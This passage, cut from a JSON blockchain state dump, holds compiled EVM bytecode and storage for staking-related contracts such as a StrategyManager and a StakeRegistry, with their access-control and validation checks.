a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220c44798d4ada1e90848e8d31a2c80c503dc1cf81f9a5671db1af6a45d97d3e5c364736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x0e801d84fa97b50751dbf25036d067dcf18858bf":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80639f3ccf651161010f578063c8294c56116100a2578063f2be94ae11610071578063f2be94ae1461054b578063f851e1981461055e578063fa28c62714610571578063ff694a771461058457600080fd5b8063c8294c56146104d6578063d5eccc05146104e9578063dd9846b9146104fc578063df5cf7231461052457600080fd5b8063bc9a40c3116100de578063bc9a40c314610474578063bd29b8cd14610487578063c46778a51461049a578063c601527d146104c357600080fd5b80639f3ccf65146103ee578063ac6bfb0314610401578063adc804da14610421578063b6904b781461046157600080fd5b80634bd26e091161018757806366acfefe1161015657806366acfefe1461034a5780636d14a987146103755780637c172347146103b457806381c07502146103ce57600080fd5b80634bd26e09146102e55780635401ed27146103155780635e5a6775146103285780635f1f2d771461033757600080fd5b806320b66298116101c357806320b662981461026c57806325504777146102815780632cd95940146102a25780633ca5a5f5146102c257600080fd5b80630491b41c146101ea57806308732461146102205780631f9b74e014610241575b600080fd5b61020d6101f8366004612bca565b60ff1660009081526001602052604090205490565b6040519081526020015b60405180910390f35b61023361022e366004612be5565b610597565b604051610217929190612c0f565b61025461024f366004612c49565b6105e0565b6040516001600160601b039091168152602001610217565b61027f61027a366004612cc4565b610632565b005b61029461028f366004612d85565b610959565b604051610217929190612e25565b6102b56102b0366004612e4a565b610c15565b6040516102179190612e76565b61020d6102d0366004612bca565b60ff1660009081526003602052604090205490565b61020d6102f3366004612e4a565b600091825260026020908152604080842060ff93909316845291905290205490565b610254610323366004612e4a565b610cb4565b61020d670de0b6b3a764000081565b61027f610345366004612f7f565b610ccd565b61035d610358366004612d85565b6110e3565b6040516001600160c01b039091168152602001610217565b61039c7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b6040516001600160a01b039091168152602001610217565b6103bc602081565b60405160ff9091168152602001610217565b6103e16103dc36600461303b565b611240565b604051610217919061308d565b61039c6103fc366004612be5565b6114f5565b61041461040f3660046130cb565b61152d565b60405161021791906130fe565b61043461042f366004612be5565b6115c5565b6040805182516001600160a01b031681526020928301516001600160601b03169281019290925201610217565b61041461046f366004612be5565b61163f565b61027f61048236600461314a565b6116ce565b61027f610495366004613174565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d1366004613240565b6118e9565b6102546104e436600461328d565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132c9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b610254610559366004613305565b611ac3565b61041461056c366004612e4a565b611b58565b61025461057f3660046132c9565b611c41565b61027f610592366004613347565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133a4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b491906133f5565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613412565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133a4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561348e565b905060200201602081019061084a91906134a4565b8289898481811061085d5761085d61348e565b90506020020135815481106108745761087461348e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61348e565b90506020020135815481106108f4576108f461348e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61348e565b905060200201602081019061093091906134a4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146109a45760405162461bcd60e51b8152600401610611906134bf565b6000836001600160401b038111156109be576109be612eee565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612eee565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61348e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361348e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61348e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f91906133f5565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613412565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133a4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61348e565b602002602001015181548110610ea357610ea361348e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161348e565b602002602001015181548110610f1957610f1961348e565b600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613547565b81548110610f6957610f6961348e565b9060005260206000200183878381518110610f8657610f8661348e565b602002602001015181548110610f9e57610f9e61348e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161355a565b6000828152602081208201600019908101919091550190558154829061101990600190613547565b815481106110295761102961348e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61348e565b6020026020010151815481106110725761107261348e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061355a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36161461112d5760405162461bcd60e51b8152600401610611906134bf565b6000805b8381101561123657600085858381811061114d5761114d61348e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612eee565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761348e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61348e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613547565b6114699190613547565b815481106114795761147961348e565b60009182526020909120015463ffffffff16116114d757600161149c8284613547565b6114a69190613547565b8585815181106114b8576114b861348e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61348e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175091906133f5565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613412565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133a4565b6117c283836123f7565b505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36161461180f5760405162461bcd60e51b8152600401610611906134bf565b60005b818110156118e357600083838381811061182e5761182e61348e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b91906133f5565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613412565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133a4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613547565b81548110611a8c57611a8c61348e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613547565b81548110611bec57611bec61348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61348e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f361614611cea5760405162461bcd60e51b8152600401610611906134bf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91692639004134792611ea1928c9201613570565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135d1565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761348e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561348e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61348e565b6020026020010151611fae9190613661565b611fb89190613678565b611fc2908661369a565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613547565b815481106120fe576120fe61348e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613547565b815481106122b4576122b461348e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374183398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136ba565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374183398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136ba565b811015612646578482815181106125895761258961348e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861348e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61348e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661348e565b602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61348e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261348e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61348e565b60200260200101516000015186848151811061285d5761285d61348e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613547565b81548110612a6c57612a6c61348e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613547565b925050506114ee565b80612aa1816136cd565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136e4565b600080821215612baa57612b9982613704565b612ba39084613720565b9050610cae565b612ba3828461369a565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee8